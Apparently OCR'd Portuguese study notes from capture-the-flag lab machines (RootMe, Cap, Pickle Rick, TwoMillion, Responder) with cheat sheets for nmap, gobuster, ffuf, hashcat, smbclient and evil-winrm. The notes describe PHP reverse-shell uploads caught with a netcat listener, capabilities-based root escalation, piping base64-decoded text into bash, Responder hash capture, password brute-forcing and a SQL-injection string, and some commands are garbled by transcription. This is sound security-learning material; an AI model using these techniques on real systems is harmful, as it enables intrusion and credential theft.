

nmap: descobrim quais serviços estão rodando na máquina. Mando um monte de requisições ex: HTTP 8080, ssh 22, FTP 21
↳ enumeração de portas

ssh: conecta remotamente em qualquer computador → se a porta estiver aberta não precisa de usuário e senha

Jogo no google o ip, já que está dentro a porta HTTP 8080.

gobuster ^{diretório} **dir** ^{wordlist} **-w common.txt -u http://[ip]**
-x php,html,txt

↳ enumerações de diretórios

"get http" → achar página web

• Achamos uma página web para fazer upload
↳ não aceita .php
mas aceita .php5

php da para executar como um programa python

- Vamos executar uma shell reversa
- Vamos injetar uma shell .php (wld injection)
 - ↳ ir para reverse.shell.com



altera p/ o ip certo
(o nosso ip e não o ip que
estamos atacando) e muda
p/ .php5

via o
servidor
↑

nc -l nup 1234

usado p/ ✓
reverse shell

↳ pasta que esta no prog-

entramos como ma.
data.www, por isso



acessamos o var/www para abrir o
arquivo user.txt e lá está a flag.

Vamos conseguir a shell do root
por um programa em python.

[gettfobins.org] → acessar, copiar o
comando

usar o whoami depois e vermos

root.

Vulnerabilidade : o site permitia colocar um arquivo php executável.

RootMe - existem 65.535

escaneia os mil mais comuns

hmap -sV -sC → coleta dados, status, títulos de páginas web e subdi-
versões.

version
detected

versão exata do software
que está rodando em
cada versão.

descobre vulnerabilidades
específicas de cada
software

Portas 139 e 445 (SMB / Samba)

serviço de compartilhamento de arquivos

e portas em modo local.

Porta 7777 (HTTP) - Aplicação web
Cyberchef → analisa, decodifica e processa
dados.

Porta 7778 (HTTP) - Hospeda a ferramenta
online - Reverse Shell generator

Porta 8443 (HTTPS) : Roda um serviço
chrome Amazon DCV (usado para con-
partilhamento de área de trabalho remota
de alto desempenho)

* A porta 7778 está com o diretório
- git aberto → pode usar ferramentas
como git-dumper para obter o código-
- fonte completo.

- Porta 53 DNS : estava fechada
(tcp wrapped)

IP real: 172.31.33.192

172.31.X.X

↳ é usado usado
pelo Amazon.

nmmap -T4 [ip]

↳ deixa o nmmap mais rápido

Máquina Cop:

- Começamos com um nmmap -sV -sG e vemos a porta 21, 22 e 80 aberta.
- Abrimos o nte e é um site que analisa serviços ip. E estamos logados como nothor
- Em uma das notes a estrutura era /data/1, id que muda
- Fazemos o download do arquivo e não tem nada demais
- Acessamos /data/0 e vemos o tráfego FTP e lá tem a informação de login do Nothor e sua senha.

- Tentamos o comando `ftp <ip>` e conseguimos acessar colocando user e senha.
- No ftp os comandos `cat`, `string`, etc não funcionam. Então usamos `[help]` para ver os comandos válidos.
- Colocando ls vemos o arquivo `usr.txt`
- No terminal usamos `ascii` p/ mudar para o lista de texto invés de binário.

Comandos ftp —

- `ls -la`: mostra lista detalhada dos arquivos
- `pwd`: exibe diretório atual
- `cd up`: sobe um nível na árvore de diretórios
- `lcd`: ver o caminho do pasta atual.
- `bin`: ativa o modo binário. Use p/ transferir imagens, vídeos, pdf's, exe ou zip.
- `ascii`: Modo texto. Apenas txt, html ou script simples
- `status`: mostra o estado atual do maquinário
- `quit`: encerra a sessão

get : baixa um arquivo

mget * : baixa todos os arquivos

· Como não conseguimos usar o **cd**
vamos usar o **get**

[**ftp > get um.txt** -]

· Descobrimos que não temos permissões
para ler o arquivo. Tentamos por

[**ftp > get um.txt**] ^{baixa o arqui-}
^{vo fora do}
^{ftp}

e também não conseguimos.

Então usamos o **curl** ^{printa oq tá no}
^{arquivo} ^{pl o termi-}
^{nal}

curl -u ^{user} nathan ftp://<ip>/um.txt

* ele pede a senha

↳ conseguimos o

· Porém, para o **flag** no **flag**
root não temos permissão

- Tentamos acessar pela porta 22
"ssh nathan@<ip>"

- Entramos e tentamos acessar o sweet mas não conseguimos também.

- Rodamos `lsudo -L` e vemos que é uma `cap` (capabilities)

- ↳ Divide os superpoderes de usuário root em pedaços menores e independentes. Divide o poder do root em 40 permissões específicas.

Procuramos os arquivos SUID para escalas privilegio:

```
[ find / -perm -4000 -type f 2>/dev/null ]
```

↑
tipo de arquivo

↑
nível de permissão SUID

↓
jogar os logs para lixo

- Não achei nada interessante

Para achar arquivos com permissão `cap`
Rodar: `getcap -r / 2>/dev/null`
↳ recursivo → entrar em todas as pastas

Achou o `python 3` com esse tipo de permissão

Boas coisas pra achar com essa permissão
`python`, `perl`, `php`, `ruby`, `vim/vi`, `nanos`,
`emacs`,

• Vamos no `GTFOBins` na parte de `python` e pegamos `capabilities`; vamos no terminal e conseguimos a última flag.

Pickle Rick

* `strings image.jpg` → vê se tem escritas na imagem.
↑ não quebrar linha

• `echo -n "ls -la" | base64`
↑ sem isso o enter codifica int. ↓ transforma em base64

• `echo -n "bTMgZWxh" | base64 -d | bash`
↓ ↓ executa
útil pra palavras
mascaradas

- Se tiver `sudo -l` e aparecer
`(ALL) ALL` no modo "sudo use"
↓

Se bloquearmos o
cat tente:

- strings
- tac → mas insere a
ordem das linhas
- less
- more

kira a união
Admin do sistema
de forma permanente

* precisa de
sudo antes p/ ir
p/ root

- `TwoMillion` * use sempre `ls -la`, ve por
uma pasta começa com `d`
e se for arquivo com `troço`
(-)

- Nós conseguimos acessar o site,
ele estava vinculado ao nome `2million`
- Então colocamos `/etc/hosts` e executamos
`"echo " <ip> 2million.htb" | sudo tee -a /etc/hosts"`

Outros fatos:

1. Infecção

Olas : olha as 65.535 portas TCP

↑

nmapscan e nmap → olha as mil mais comuns

↓

↓

mais rápida

+ lento

reparada p/ o comando de nmap

↑

rustscan -a <IP> --ulimit 5000 -- -sV -A

↓

address

↓

aumenta o limite
p/ 5 mil conexões
simultâneas

variedade
agressiva
olha:

..sV → versão
do serviço

-O identifica
côd. do OS do
alvo

-sC → scripts
padrão

--traceroute
mostra o caminho
da rede até o host

-Pn → ignora a descoberta
de hosts (ping). Trata o
alvo como se ele estivesse
online

desofuscar

Unpocher function : reconstroi um processo
que oculta na memória

- Atua como envelope protetor

do código

- descompacta ou descriptografa os dados mais
- Executa o código direto na RAM
- Muito usada por malwares

Dear Edwards Packer (eval (function (p, a, c, k, e, r)

- Substitui palavras mais por mínimos ou símbolos.
- Difícil a leitura visual p/ humanos
- Usa unpacker function para remontagem
- Utiliza o comando eval para execução imediata.

curl → um navegador web que roda direto no terminal, mas sem a parte visual

|

- fazer uma requisição `poolção`
(`get`)

apenas para baixar o código de uma página ou testar se está online

```
curl http://exemplo.com
```

- Enviar dados para o servidor:
(`POST`)

interage com APIs, envia formulários ou fazer login

```
curl -X POST http://exemplo.com
```

- Enviar dados com parâmetros

```
curl -X POST -d "usuario=admin&senha=123" http://exemplo.com
```

↳ achar no html o nome que recebe os parâmetros

↳ enviando como se fosse um formulário web

múltiplas webs

```
curl -X POST -H "Content-Type: application/json" -d '{"codigo": "1234"}' http://ex.com
```

↳ enviando dados no formato JSON

* Termos novos:
FASE DE
↳ Enumeração

Client SMB: programa que se conecta a um servidor para acessar arquivos

- Exploração de arquivos que rodem com protocolo SMB (comum em máquinas windows e linux com samba)

- **listar pastas compartilhadas**:

`smbclient -L //IP/ -N`
↳ listar ↳ não conectar

`smbclient -L //IP/ -U "usuario"`
↳ tentar entrar com um usuário que você descobriu

* portas padrão SMB 445 e 139

- **Entrar em uma pasta específica**

└ Smbclient -L //IP / nome - pasta -N |

- Se tiver usuário e senha:

└ Smbclient -L //IP / -U "usu % senha "

* Quando vc conecta muda para smb: \>

Smbmap : checa permissões, procura arquivos e baixa e envia arquivos.

- Verificação anônima: ver se o servidor deixa qualquer um olhar as pastas.

└ Smbmap -H <IP> |

- Verificação com usuário e senha

└ smbmap -H <IP> -u "usu" -p "senha"

- Listar o conteúdo das pastas

```
└ smbmap -H <IP> -R ]
```

- Baixar um arquivo diretamente

```
└ smbmap -H <IP> -u "pasta / arquivo.txt"  
-A "arquivo.txt" ]  
(, download
```

Exiftool : usado p/ analisar documentos e arquivos de mídia.

```
└ exiftool foto.jpg ] → ve todos os metadados do arquivo
```

```
└ exiftool /caminho / pasta / ] → visualiza metadados de todos os arquivos da pasta
```

Binwalk : usado p/ lidar com binários "misteriosos"

- explorar o código que roda dentro de roteadores, câmeras de segurança e smart TVs

- Análise de malware : ver se um executável está carregando arquivos ocultos

- Quando alguém escondeu um arquivo zip ou imagem dentro de outra imagem.

- **Analisar um arquivo**

```
binwalk arquivo.bin
```

- **Extrair automaticamente tudo o que for encontrado :**

Cria uma pasta e joga tudo o que encontrar lá.

```
binwalk -e arquivo.bin
```

- **Andine gráfica :**

descobrimos normalmente se as partes
do arquivo estão criptografadas ou
compactadas.

binwalk -E arquivo.bin

Some Hashes —

<https://www.kali.org/tools/hash-identifier/>

<https://www.kali.org/tools/hashid/>

<https://www.kali.org/tools/hashcat/>

<https://www.tunnelsup.com/hash-analyzer/>

<https://gchq.github.io/CyberChef/>

<https://10015.io/tools/md5-encrypt-decrypt>

<https://crackstation.net/>

↳ ótimo

↑
links úteis

* ls -l

↳ o caractere arquivo (-) ou
diretório (d)

• O próximo 3 vão dizer se o arquivo é `r` (read), `w` (write) e `x` (execute)

O 3 primeiros: Permissões do dono

3 do meio: Permissões do grupo

3 últimos: Permissões de qualquer um

* `grep "palavra" arquivo.txt`

• mostra na tela as linhas que contém a palavra pesquisada.

-i → ignora maiúscula e minúscula

-r → busca de forma recursiva em pastas

-C → conta o número de linhas corresponden

-v → mostra o que não corresponde ao ^{tes} padrão

-e → buscar termos que começam com hífen
↳ buscar diferentes palavras ao mesmo

tempo `grep -e "mao" -e "falha" a.txt`

-x → procura a cópia exata ex: "mao"

vetana apena 'moça' não 'tata de moça'
, "maça verde" e "maça"

-E → '.{10}'



'gato | cachorro'

maça por gato

ou cachorro

↪ procura a quantidade de caracte-
res específicos em uma palavra.

ou hashid -m <TEXT>



nth -t 'TEXT'

name that
hash

-f FILENAME

} descreve
qual o
hash

Ja da o número do
-m "HC:100"

[hashcat -m <tipo hash> hash.txt rockyou]

hashcat.net/wiki/

example hashes

↓
arquivo
que tem o
hash
↳ word
list

-a 0 → usa dicionário

-a 1 → combina 2 wordlist

-a 3 → força bruta ↗ 3 caracteres

↳ -a 3 -1 ?u ?d ?l ?l ?l

↓
símbolo

↳ teste no símbolo

- `n` → aplica modificações em tempo real
- `-u pasta -de -negras/norre -`
↓
`negra.rule`

`share/hashcat/rules`

• `best64.rule`: tenta as 64 modificações mais comuns do mundo

• `leetspeak.rule`: Troca as palavras em leet
ex: venha → 53nh4

• `toggle-case.rule`: Altera minúsculas e maiúsculas

- `O` → optimized → acelera o ataque em até 30%.

- `w` → usa + a placa de vídeo

* `Achou uma id-usa`:

`chmod 600 id-usa`

`ssh -i id-usa <usuario>@<ip> -p <porta>`

ou root

curl -I : traz so o Headers
curl -V : "verbose" Mostra a conversa de ida e volta

informações ip:

ss -tulnp

ip addr

ip route

openssl s-client -connect [^{IP_{ov}}host]:[port]

conecte a serviços que usam criptografia SSL/TLS → Netcat soq pl SSL/TLS

MySQL: requil-machine

mysql -h <TARGET-IP> -u <username>
-p <password> --skip-ssl]
↳ se precisar ↳ se aparecer que
às vezes entra sem senha, precisa autenti-
então não tina o -p ficar o ssl.

Comandos navegação:

↗ não esquecer !

- SHOW database; → J: comando
- USE <database>; → escolha um db data-
- SHOW TABLES; base (ex: htb)
- SELECT * FROM <table-name>;

↙ mostra as tabelas
de qualquer database

↘ ver o que tem
na tabela.

* Testar em sql injection: admin'#

• curl 'http://<user>:<senha>/<IP>:<port>'

↓

entrar em um
sistema que exige
usuário e senha

CTF Responder:

- Novo:

- responder

• LFI

• evil-winrm

chave

↑

• A página tinha index.php/page =

→ podemos envenenar o rescentando

//<ip>/somefile

↳ ip que vamos pegar com responder

↓

sudo responder -I tun0

↳ tunel virtual

↓

funciona para máquinas windows. LLMNR, NBT-NS, mDNS

↳ Conseguimos a hash da senha e o user

↓

descriptografamos com hashcat -m 5600 <T>

TEXT

↑

↓
Usei hashid -m
<TEXT>

• Com usuário e senha em

mãos, vamos usar evil-winrm, já

que a porta 5985 (ou 5986) está aberta.

```
[evil-winrm -i <IP> -u <user> -p <senha>]
```

↳ entrando conseguimos na ^{de} pasta mike/Desktop e pegar a flag.

* Sheet Cheet de terminal:

- man <coisa>
- tldr <coisa>
- <coisa> -h

Estabilizando a Shell:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

↳ quando tem python

```
/usr/bin/script -qc /bin/bash /dev/null
```

↳ quando n tem python

* ctrl z → execute um programa

do terminal no back ground

<https://blog.ropnop.com/upgrading-simple-shells-to-fullyinteractive-ttys/>

↳ outras maneiras de estabilizar a shell

Fuzzing:

- Ataque de força bruta: ffuf-h

```
ffuf -w <wordlist> -u http://<target>/script.php?FUZZ=test_value -fs 4242
```

↓ ↓
chave testar qqlr
 valor

```
ffuf -w <wordlist> -u http:// -H "Host: FUZZ" -fs 4242
```

↳ outras tentativas de 4242

bytes. Os end 404 tem esse tamanho.

CTF : meninas spoiler

↳ pagina para tentar logar com pass bruta. Usar fuzz

```
ffuf -w usernames.txt -X POST -u  
http://<ip>/login.php -d 'username =  
admin & password = FUZZ' -H 'Content-Type : application/x-www-form-urlencoded'
```

[undo apt install seclists]

• exploit : código ou programa que aproveita falha de segurança
↳ exploit DB

msfconsole

mea exploit

{
mudar o
arquivo
para
/bin/bash e

maquina da
semana



conseguir privi-
legis de not